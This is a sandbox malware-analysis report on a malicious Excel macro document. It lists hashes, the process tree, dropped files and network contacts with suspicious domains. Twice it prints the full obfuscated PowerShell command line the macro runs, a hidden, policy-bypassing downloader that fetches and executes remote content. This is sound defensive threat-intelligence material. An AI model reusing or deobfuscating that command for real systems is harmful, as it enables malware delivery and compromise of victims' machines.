analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

doc_SPA_(25)_(2019-03-18 n._776).xls

Full analysis: https://app.any.run/tasks/93a943e0-59b5-4227-875f-79b3722f7e5a
Verdict: Malicious activity
Analysis date: March 21, 2019, 11:06:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
maldoc-5
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: copy; utente, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Mar 7 12:12:20 2019, Last Saved Time/Date: Mon Mar 11 08:22:01 2019, Security: 0
MD5:

E10595514FBD9225D4D3BB01470BF1E1

SHA1:

5E7A99894AC4FBA1E1755F076A4ED3A8B4706304

SHA256:

B1A0CC703BED0F205830881B98CC4803D8B6E37F5918B231CBE91F4CC7E16547

SSDEEP:

1536:wn1DN3aMePUKccCEW8yjJTdrBX/3t4k3hOdsylKlgryzc4bNhZFGzE+cL4LgldAC:wn1DN3aM+UKccCEW8yjJTdrBX/3t4k3q

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3008)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2256)
      • cmd.exe (PID: 944)

    • Creates files in the user directory

      • powershell.exe (PID: 2500)

  • INFO

    • Changes settings of System certificates

      • pingsender.exe (PID: 948)
      • pingsender.exe (PID: 1824)

    • Adds / modifies Windows certificates

      • pingsender.exe (PID: 948)
      • pingsender.exe (PID: 1824)

    • Application launched itself

      • firefox.exe (PID: 3556)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1980)

    • Reads CPU info

      • firefox.exe (PID: 3556)

    • Creates files in the user directory

      • firefox.exe (PID: 3556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: copy; utente
Software: Microsoft Excel
CreateDate: 2019:03:07 12:12:20
ModifyDate: 2019:03:11 08:22:01
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Microsoft
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 2019'marzo
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
52
Monitored processes
17
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe csc.exe cvtres.exe no specs firefox.exe firefox.exe no specs firefox.exe firefox.exe firefox.exe firefox.exe firefox.exe firefox.exe pingsender.exe pingsender.exe

Process information

PID
CMD
Path
Indicators
Parent process
1980"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
2256cmd /cCMd.exe /C "set uEo=$k4r5 = " ))93]RahC[]GnIRtS[,)88]RahC[+96]RahC[+99]RahC[((EcalPER.)'))43]rAhc[,XEcRpiXEc ECalPERc-93]rAhc[,)09]rAhc[+96]rAhc[+35]rAhc[( ECaLpEr- 69]rAhc[,XEcIfQXEc'+'EC'+'alPERc- 63]rAhc'+'[,'+'XEcAwJXEcECalPERc-421]rAhc[,)65]rAhc[+701]rAhc[+601]rAhc[( ECalPERc-)XEc))]4394..XEc+XEc0[}o{AwJ(gniRTsTeG.8ftu::]gnidocnE.'+'txeT.metsyS[()ZE5mMZE5,ZE5uZE5f-XEc+XEc Rpi}XEc+XEc0{}1{RpXEc+XEci(.;)(raELc.}rOIfQRIfQXEc+XEcRE{'+'Aw'+'J;)ZE5jMZE5(.;}}))51XEc+XEc dnab- G.}P{AwJ(rob-'+')61*)51dnab-B.}P{AwJ((RoXEc+XEcolF::]htam[(=]}x{AwJ+064XEc+XEc*}_{AwJ[}o{AwJ;)}_{AwJ,}XEc+XEcx{AwJ(lEXiPXEc+XEctEg.}g{A'+'wJ=}P{AwJ{)XEc+XEc)954..0(ni XEc+XEc}X{AwJ(hcaerof{)ZE5%ZE5(.8kj)01..0(;0605 )ZE5etZE5,ZE5yBZEXEc+XEc5,ZE5][ZE5 fXEc+XEc- Rpi}0{}2{}1{Rpi( )ZE5aZE5(^&=}oXEc+XEc{AXEc+XEcwJ;}{hctaC}})(Et'+'yBDAeR.}RW{AwJ]rahC[=+}SEIfQr{AwJ{)1(elXEc+XEcihWXEc+XEc{yrT;ZE5Z'+'E5=}seIfQr{AwJ;}tixe{hctaC}))}lRIfQu{AwJ(EkovNi.}XEc+XEcRo{AwJ.}Rw{AwJ()ZE5ySZXEc+XEcE5,ZEXEc+XEc5pamtiB.'+'ZE5,ZE5nZE5,ZE5iwarD.meXEc+XEcZE5,ZE5gZE5,ZE5tsZE5 f-'+' Rpi}4{}1{}3{}2{}'+'0{}5{Rpi( )XEc+XEcZE5aZE5XEc+XEc(^&=}gXEc+XEc{AwJ{yrt;)'+'ZE5daeRnepZE5XEc+XEc,ZE5OZE5 f-Rpi}1{}0{R'+'pi(=}RXEc+XEcIfQO{AwJ;)}cW'+'{AwJ )ZE5aZE5(^&(=}rw{AwJ;)ZE5jMZE5(.;)ZE5SZ'+'E5,ZE5tsyZEXEc+XEc5,ZE5XEc+XEcaZE5,ZE5gniwZE5XEc+XEc,ZE5rD.meZE5 f-Rpi}1{}2'+'{}0{}3XEc+XEc{}4{Rpi( emaNylbmessA- )ZE5'+'dAZE5,ZE5T-dZE5,ZE5epyZE5 f-Rpi}0{}1{}2{Rpi(.;)ZE5ejbO-'+'weZE5,ZE5NZE5,ZE5tcZE5f- Rpi}0XEc+XEc{}2{}1{Rpi( )ZE5aZE5( )ZE5asZE5,ZE'+'5lZE5f- RpiXEc+XEc}0{}1{RpXEc+X'+'Eci(.;)ZE5dZE5,ZE5miZE5,ZXEc+XEcE531/moc.xoZE5,ZE5bgZE5,ZE5mi//ZE5,ZE5/ZE5,ZE5_RW0Q9aZE5,ZE5u/ZE5,ZE5np.oZE5,ZE5aZE5,ZE56bZXEc+XEcE5,ZE5gZE5,ZE5.2segZE5,ZE5:spZE5 f-RpiXEc+XEc}2{}5{}7{}31{}6{}3{}8{}11{}01{}2XEc+XEc1{}'+'1{}4{}9{}'+'0{Rpi(+}OIfQr{AwJ+}Or{AwJ+RpihRpi=}LRIfQu{AwJ;)ZE5tneZE5,ZXEc'+'+XEcE5eW.teNZE5,ZE5iZXEc+XEcE5,ZE5lCbZE5f-Rpi}3{}1{}0{}2{Rpi(=}CW{AwJ;})ZE5ZE5 niXEc+XEcoJ-XEc+XEc }qD{AwJ( )ZE5IZE5,ZXEc+XEcE5xeZE5 f- RpXEc'+'+XEci}0XEc+XEc'+'{}1{Rpi(^&;}))6XEc+XEc1,}_{AwJ(61tnIoT::]trevnoC.metsy'+'S[(]rahc[{)ZE5%ZE5(. 8kj)s'+'EiRtNeyTPmeevOMEr::]snoitpO'+'tilpS'+'gnirtS.metsyS[,Rpi8kjRpi(tILpSXEc+XEc.}IiIfQIS{AwJ = }QIfQXEc+XEcd{AwJ;}R'+'pi8kjRpi+))Rpi8kjRpXEc+XEci,2(TresnI.}QAIfQb{AwJ(=+}IIIfQIs{AwJ;}}qXEc+XEcAIfQB{AwJ+Rpi0RXEc+'+'XEcpi= }qAIfQb'+'XEc+XEc{AwJ{)4 tl- HtXEc+XEcGNeL.}qAIfQB{AwXEc+XEcJ(fi;)61,}EdIfQoXEc+XEccIIfQNU{AwJ('+'gnIrtsOt::]trevnoC.'+'metsyS[ = }qAI'+'fQXEc+XEcB{AwJ{)}FIfQb{Aw'+'J ni XEc+X'+'E'+'c}e'+'DOIfQCIfQiNu{AwJ(hcaerof;RpiRpi=}XEc+XEciIIIfQs'+'{AwJ;}}_{AwJ]rahc[]46tni[XEc+XEc{)ZE5%XEc+XEcZE5(. 8kj)(YarrAXEc+XEcRAhCO'+'T.}GG'+'IfQG{AwJ = }FIfQb{AwJ{)XEc+XEc}GgIXEc+XEcfQG{AwJ('+' UmIfQM noitcnuf;]1[))'+'(eA::]ae[(=}oR{AwJ;RXEc+XEcpi}};emaN.erutluCtnerruCXEc+XEc.ofnIerut'+'luC.noitazilabolXEc+XEcG.metsyS n'+'ruter{)(ea gnirts citats cilbup{ ae ssalc c'+'ilbup;metsyS gnisuRXEc+XEcpi fedepyt- )ZE5epZE5,ZE5ddAZE5,ZE5yT-ZE5 f- Rpi}2{}0{}1{Rpi(.;)ZE5jMZE5(.;}}7 s- )ZE5atSZE5,Z'+'E5-tZE5,ZE5rZE5,ZE5peelSZE5f-XEc+XEcRpi}0{}2{}1{}3{Rpi(^&;)(ESNOPSErTeG.}yIfQr{AwJ = }AIfQr{AwJ;XEc+XEc)ZE5HZ'+'E5,ZE5DAEZE5 f- Rpi}0{}1{Rpi( = DOh'+'teM.}YXEc'+'+XEcIfQR{AwJ;)}XIfQz{AwXEc+XEcJ+)ZE5ptZE5,ZEXEc+XEc5thZE5,ZE5//:ZE5 f-Rpi}0{}2{}1{Rpi((ETAErC::XEc+XEc]'+'tseuqeRbeW.teN.metsy'+'S['+' = }YIfQr{XEc+XEcAwJ;)ZE5.ZE5,ZE5mocZE5XEc+XEc f- Rpi}0{}1{Rpi(+)4 )ZE5vZE5,ZE5v'+'aZE5 f'+'-XEc+XEcR'+'pi}1{}0{Rpi(.(XEc+X'+'Ec=}xZ{AwJ{ )++}i{AwJ ;1 tlXEc+XEc- XEc+XEc}I{AwJ XEc+XEc;0 =XEc+XEc }i{AwJ( rof{ jm noitcnuf;}}hTIfQGnEl{AwJ }la{AwJ )ZE5GZE5,ZE5EeZE5XEc+XE'+'cf'+'-Rpi}0{}1{Rpi(^&;)Z'+'E5mlkjihgfedcbaZE5,ZE5xZEXEc+XEc5,ZE5zyZE5,ZE5srqpZE5,ZE5wv'+'utZE5,ZE5onZE5f- XEc+'+'XEcRpi}3{}4{}1{}2{}0{}5{Rpi( = }lIfQa{AwJ;)1 ='+' }HTg'+'NEIfQL{AwJ]tni[( marap{ vVIfQA '+'noitcnuf;)ZE5neliSZE5,ZE5oC'+'ZE5,ZE5yltZE5,ZE5euZE5,ZE5nitnZEXEc+XEc5'+' f- Rpi}1{}0XEc+XEc{}3{}2{}4'+'{Rpi( = }eCneIfQrEIfQFerpnoiIfQTCIfQARORRE{AwJ;}'+'ZE5ZE5 nioj- )}])}XAIfQm{AwJ mumix'+'aM- 0'+' muminiM- )ZE5moZE5,ZE5aR-teZE5,ZE5GZE5,ZE5dnZE5 f-Rpi}3{}0{}2{}1{Rpi(^&([}tSIIf'+'Ql{AwXEc+XEcJ{)++}i{AwJ ;}hTgIfQNeIfQL{AwJ tl- }IXEc+XEc{AwJ ;0 = }I{AwJ( rof(AwJ'+';H'+'TgNEl.}tSIIfQl{AwJ XEc+XEc= }XAIfQXEc+XEcM{AwJ)1 = }HTIfQGIfQNEL{AwJ]tni[,}XEc+'+'XEcTSIfQIl{AwJ( marap{ EeXEc+XEcIfQG noitcnufXEc(( ()XEcXEcNioJ-]2,11,3[emAn.)XEc*RDM*XEc ELbAiRAV(( .'( ( )'X'+]43[emOHSp$+]12[emOhSp$ ( ^& "; ^& ((GV '*mdr*').NAMe[3,11,2]-JoIn'')( (Ls variABlE:k4R5 ).vAlue[ -1 ..- ( (Ls variABlE:k4R5 ).vAlue.lEngTh )]-JOIn '' ) &&SeT TRS=PoWERShell -NOPRoFI -w 1 -EXEcuTiOnP BYPass -nOniNterAcTi sV s3zxl5 ( [typE]( \"{1}{0}{2}\" -f'ViRO','en','NmeNt') ) ; ( ( VARIaBle S3ZXl5 -Va )::(\"{1}{0}{3}{4}{2}\"-f 'V','geten','e','iRONmeNTv','ARIAbL' ).Invoke( 'uEO',( \"{2}{1}{0}\" -f 'S','ocES','pR' )) ) ^^^|. ( ${e`Nv:c`oM`sPEC}[4,26,25]-JOin'' )&& CMd /C %trs%"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
944CMd.exe /C "set uEo=$k4r5 = " ))93]RahC[]GnIRtS[,)88]RahC[+96]RahC[+99]RahC[((EcalPER.)'))43]rAhc[,XEcRpiXEc ECalPERc-93]rAhc[,)09]rAhc[+96]rAhc[+35]rAhc[( ECaLpEr- 69]rAhc[,XEcIfQXEc'+'EC'+'alPERc- 63]rAhc'+'[,'+'XEcAwJXEcECalPERc-421]rAhc[,)65]rAhc[+701]rAhc[+601]rAhc[( ECalPERc-)XEc))]4394..XEc+XEc0[}o{AwJ(gniRTsTeG.8ftu::]gnidocnE.'+'txeT.metsyS[()ZE5mMZE5,ZE5uZE5f-XEc+XEc Rpi}XEc+XEc0{}1{RpXEc+XEci(.;)(raELc.}rOIfQRIfQXEc+XEcRE{'+'Aw'+'J;)ZE5jMZE5(.;}}))51XEc+XEc dnab- G.}P{AwJ(rob-'+')61*)51dnab-B.}P{AwJ((RoXEc+XEcolF::]htam[(=]}x{AwJ+064XEc+XEc*}_{AwJ[}o{AwJ;)}_{AwJ,}XEc+XEcx{AwJ(lEXiPXEc+XEctEg.}g{A'+'wJ=}P{AwJ{)XEc+XEc)954..0(ni XEc+XEc}X{AwJ(hcaerof{)ZE5%ZE5(.8kj)01..0(;0605 )ZE5etZE5,ZE5yBZEXEc+XEc5,ZE5][ZE5 fXEc+XEc- Rpi}0{}2{}1{Rpi( )ZE5aZE5(&=}oXEc+XEc{AXEc+XEcwJ;}{hctaC}})(Et'+'yBDAeR.}RW{AwJ]rahC[=+}SEIfQr{AwJ{)1(elXEc+XEcihWXEc+XEc{yrT;ZE5Z'+'E5=}seIfQr{AwJ;}tixe{hctaC}))}lRIfQu{AwJ(EkovNi.}XEc+XEcRo{AwJ.}Rw{AwJ()ZE5ySZXEc+XEcE5,ZEXEc+XEc5pamtiB.'+'ZE5,ZE5nZE5,ZE5iwarD.meXEc+XEcZE5,ZE5gZE5,ZE5tsZE5 f-'+' Rpi}4{}1{}3{}2{}'+'0{}5{Rpi( )XEc+XEcZE5aZE5XEc+XEc(&=}gXEc+XEc{AwJ{yrt;)'+'ZE5daeRnepZE5XEc+XEc,ZE5OZE5 f-Rpi}1{}0{R'+'pi(=}RXEc+XEcIfQO{AwJ;)}cW'+'{AwJ )ZE5aZE5(&(=}rw{AwJ;)ZE5jMZE5(.;)ZE5SZ'+'E5,ZE5tsyZEXEc+XEc5,ZE5XEc+XEcaZE5,ZE5gniwZE5XEc+XEc,ZE5rD.meZE5 f-Rpi}1{}2'+'{}0{}3XEc+XEc{}4{Rpi( emaNylbmessA- )ZE5'+'dAZE5,ZE5T-dZE5,ZE5epyZE5 f-Rpi}0{}1{}2{Rpi(.;)ZE5ejbO-'+'weZE5,ZE5NZE5,ZE5tcZE5f- Rpi}0XEc+XEc{}2{}1{Rpi( )ZE5aZE5( )ZE5asZE5,ZE'+'5lZE5f- RpiXEc+XEc}0{}1{RpXEc+X'+'Eci(.;)ZE5dZE5,ZE5miZE5,ZXEc+XEcE531/moc.xoZE5,ZE5bgZE5,ZE5mi//ZE5,ZE5/ZE5,ZE5_RW0Q9aZE5,ZE5u/ZE5,ZE5np.oZE5,ZE5aZE5,ZE56bZXEc+XEcE5,ZE5gZE5,ZE5.2segZE5,ZE5:spZE5 f-RpiXEc+XEc}2{}5{}7{}31{}6{}3{}8{}11{}01{}2XEc+XEc1{}'+'1{}4{}9{}'+'0{Rpi(+}OIfQr{AwJ+}Or{AwJ+RpihRpi=}LRIfQu{AwJ;)ZE5tneZE5,ZXEc'+'+XEcE5eW.teNZE5,ZE5iZXEc+XEcE5,ZE5lCbZE5f-Rpi}3{}1{}0{}2{Rpi(=}CW{AwJ;})ZE5ZE5 niXEc+XEcoJ-XEc+XEc }qD{AwJ( )ZE5IZE5,ZXEc+XEcE5xeZE5 f- RpXEc'+'+XEci}0XEc+XEc'+'{}1{Rpi(&;}))6XEc+XEc1,}_{AwJ(61tnIoT::]trevnoC.metsy'+'S[(]rahc[{)ZE5%ZE5(. 8kj)s'+'EiRtNeyTPmeevOMEr::]snoitpO'+'tilpS'+'gnirtS.metsyS[,Rpi8kjRpi(tILpSXEc+XEc.}IiIfQIS{AwJ = }QIfQXEc+XEcd{AwJ;}R'+'pi8kjRpi+))Rpi8kjRpXEc+XEci,2(TresnI.}QAIfQb{AwJ(=+}IIIfQIs{AwJ;}}qXEc+XEcAIfQB{AwJ+Rpi0RXEc+'+'XEcpi= }qAIfQb'+'XEc+XEc{AwJ{)4 tl- HtXEc+XEcGNeL.}qAIfQB{AwXEc+XEcJ(fi;)61,}EdIfQoXEc+XEccIIfQNU{AwJ('+'gnIrtsOt::]trevnoC.'+'metsyS[ = }qAI'+'fQXEc+XEcB{AwJ{)}FIfQb{Aw'+'J ni XEc+X'+'E'+'c}e'+'DOIfQCIfQiNu{AwJ(hcaerof;RpiRpi=}XEc+XEciIIIfQs'+'{AwJ;}}_{AwJ]rahc[]46tni[XEc+XEc{)ZE5%XEc+XEcZE5(. 8kj)(YarrAXEc+XEcRAhCO'+'T.}GG'+'IfQG{AwJ = }FIfQb{AwJ{)XEc+XEc}GgIXEc+XEcfQG{AwJ('+' UmIfQM noitcnuf;]1[))'+'(eA::]ae[(=}oR{AwJ;RXEc+XEcpi}};emaN.erutluCtnerruCXEc+XEc.ofnIerut'+'luC.noitazilabolXEc+XEcG.metsyS n'+'ruter{)(ea gnirts citats cilbup{ ae ssalc c'+'ilbup;metsyS gnisuRXEc+XEcpi fedepyt- )ZE5epZE5,ZE5ddAZE5,ZE5yT-ZE5 f- Rpi}2{}0{}1{Rpi(.;)ZE5jMZE5(.;}}7 s- )ZE5atSZE5,Z'+'E5-tZE5,ZE5rZE5,ZE5peelSZE5f-XEc+XEcRpi}0{}2{}1{}3{Rpi(&;)(ESNOPSErTeG.}yIfQr{AwJ = }AIfQr{AwJ;XEc+XEc)ZE5HZ'+'E5,ZE5DAEZE5 f- Rpi}0{}1{Rpi( = DOh'+'teM.}YXEc'+'+XEcIfQR{AwJ;)}XIfQz{AwXEc+XEcJ+)ZE5ptZE5,ZEXEc+XEc5thZE5,ZE5//:ZE5 f-Rpi}0{}2{}1{Rpi((ETAErC::XEc+XEc]'+'tseuqeRbeW.teN.metsy'+'S['+' = }YIfQr{XEc+XEcAwJ;)ZE5.ZE5,ZE5mocZE5XEc+XEc f- Rpi}0{}1{Rpi(+)4 )ZE5vZE5,ZE5v'+'aZE5 f'+'-XEc+XEcR'+'pi}1{}0{Rpi(.(XEc+X'+'Ec=}xZ{AwJ{ )++}i{AwJ ;1 tlXEc+XEc- XEc+XEc}I{AwJ XEc+XEc;0 =XEc+XEc }i{AwJ( rof{ jm noitcnuf;}}hTIfQGnEl{AwJ }la{AwJ )ZE5GZE5,ZE5EeZE5XEc+XE'+'cf'+'-Rpi}0{}1{Rpi(&;)Z'+'E5mlkjihgfedcbaZE5,ZE5xZEXEc+XEc5,ZE5zyZE5,ZE5srqpZE5,ZE5wv'+'utZE5,ZE5onZE5f- XEc+'+'XEcRpi}3{}4{}1{}2{}0{}5{Rpi( = }lIfQa{AwJ;)1 ='+' }HTg'+'NEIfQL{AwJ]tni[( marap{ vVIfQA '+'noitcnuf;)ZE5neliSZE5,ZE5oC'+'ZE5,ZE5yltZE5,ZE5euZE5,ZE5nitnZEXEc+XEc5'+' f- Rpi}1{}0XEc+XEc{}3{}2{}4'+'{Rpi( = }eCneIfQrEIfQFerpnoiIfQTCIfQARORRE{AwJ;}'+'ZE5ZE5 nioj- )}])}XAIfQm{AwJ mumix'+'aM- 0'+' muminiM- )ZE5moZE5,ZE5aR-teZE5,ZE5GZE5,ZE5dnZE5 f-Rpi}3{}0{}2{}1{Rpi(&([}tSIIf'+'Ql{AwXEc+XEcJ{)++}i{AwJ ;}hTgIfQNeIfQL{AwJ tl- }IXEc+XEc{AwJ ;0 = }I{AwJ( rof(AwJ'+';H'+'TgNEl.}tSIIfQl{AwJ XEc+XEc= }XAIfQXEc+XEcM{AwJ)1 = }HTIfQGIfQNEL{AwJ]tni[,}XEc+'+'XEcTSIfQIl{AwJ( marap{ EeXEc+XEcIfQG noitcnufXEc(( ()XEcXEcNioJ-]2,11,3[emAn.)XEc*RDM*XEc ELbAiRAV(( .'( ( )'X'+]43[emOHSp$+]12[emOhSp$ ( & "; ^& ((GV '*mdr*').NAMe[3,11,2]-JoIn'')( (Ls variABlE:k4R5 ).vAlue[ -1 ..- ( (Ls variABlE:k4R5 ).vAlue.lEngTh )]-JOIn '' ) &&SeT TRS=PoWERShell -NOPRoFI -w 1 -EXEcuTiOnP BYPass -nOniNterAcTi sV s3zxl5 ( [typE]( \"{1}{0}{2}\" -f'ViRO','en','NmeNt') ) ; ( ( VARIaBle S3ZXl5 -Va )::(\"{1}{0}{3}{4}{2}\"-f 'V','geten','e','iRONmeNTv','ARIAbL' ).Invoke( 'uEO',( \"{2}{1}{0}\" -f 'S','ocES','pR' )) ) ^^^|. ( ${e`Nv:c`oM`sPEC}[4,26,25]-JOin'' )&& CMd /C %trs%"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3008CMd /C %trs%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2500PoWERShell -NOPRoFI -w 1 -EXEcuTiOnP BYPass -nOniNterAcTi sV s3zxl5 ( [typE]( \"{1}{0}{2}\" -f'ViRO','en','NmeNt') ) ; ( ( VARIaBle S3ZXl5 -Va )::(\"{1}{0}{3}{4}{2}\"-f 'V','geten','e','iRONmeNTv','ARIAbL' ).Invoke( 'uEO',( \"{2}{1}{0}\" -f 'S','ocES','pR' )) ) |. ( ${e`Nv:c`oM`sPEC}[4,26,25]-JOin'' )C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3028"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\f1ka_osi.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
968C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7F74.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7F73.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
3556"C:\Program Files\Mozilla Firefox\firefox.exe" C:\Program Files\Mozilla Firefox\firefox.exe
explorer.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
65.0.2
332"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.0.1158602162\1803003547" -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - "C:\Users\admin\AppData\LocalLow\Mozilla\Temp-{ce348e4c-7d33-445e-89f9-60108c51bcaf}" 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 1108 gpuC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
1
Version:
65.0.2
1428"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.6.576944363\1359909003" -childID 1 -isForBrowser -prefsHandle 1732 -prefMapHandle 1728 -prefsLen 1 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 1584 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
Total events
1 758
Read events
1 624
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
66
Text files
34
Unknown types
46

Dropped files

PID
Process
Filename
Type
1980EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR894B.tmp.cvr —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJY4QT9RZ4T9893JNI88.temp —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.0.cs —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.cmdline —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\CSC7F73.tmp —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.pdb —
MD5:—
SHA256:—
968cvtres.exeC:\Users\admin\AppData\Local\Temp\RES7F74.tmp —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.dll —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.out —
MD5:—
SHA256:—
3556firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs-1.js —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
31
DNS requests
83
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2500
powershell.exe
HEAD
200
119.28.4.89:80
http://rhxr.com/
CN
—
—
unknown
2500
powershell.exe
HEAD
200
184.168.131.241:80
http://kekm.com/
US
—
—
malicious
3556
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
GET
200
2.16.186.112:80
http://detectportal.firefox.com/success.txt
unknown
text
8 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3556
firefox.exe
52.88.150.81:443
search.services.mozilla.com
Amazon.com, Inc.
US
unknown
3556
firefox.exe
2.16.186.112:80
detectportal.firefox.com
Akamai International B.V.
—
whitelisted
3556
firefox.exe
172.217.23.163:80
www.google.it
Google Inc.
US
whitelisted
3556
firefox.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3556
firefox.exe
216.58.207.67:443
ssl.gstatic.com
Google Inc.
US
whitelisted
2500
powershell.exe
184.168.131.241:80
kekm.com
GoDaddy.com, LLC
US
shared
2500
powershell.exe
119.28.4.89:80
rhxr.com
Tencent Cloud Computing (Beijing) Co., Ltd
CN
unknown
3556
firefox.exe
172.217.22.42:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
3556
firefox.exe
35.160.41.125:443
tiles.services.mozilla.com
Amazon.com, Inc.
US
unknown
3556
firefox.exe
172.217.23.163:443
www.google.it
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
rhxr.com
  • 119.28.4.89
unknown
kekm.com
  • 184.168.131.241
malicious
detectportal.firefox.com
  • 2.16.186.112
  • 2.16.186.50
whitelisted
a1089.dscd.akamai.net
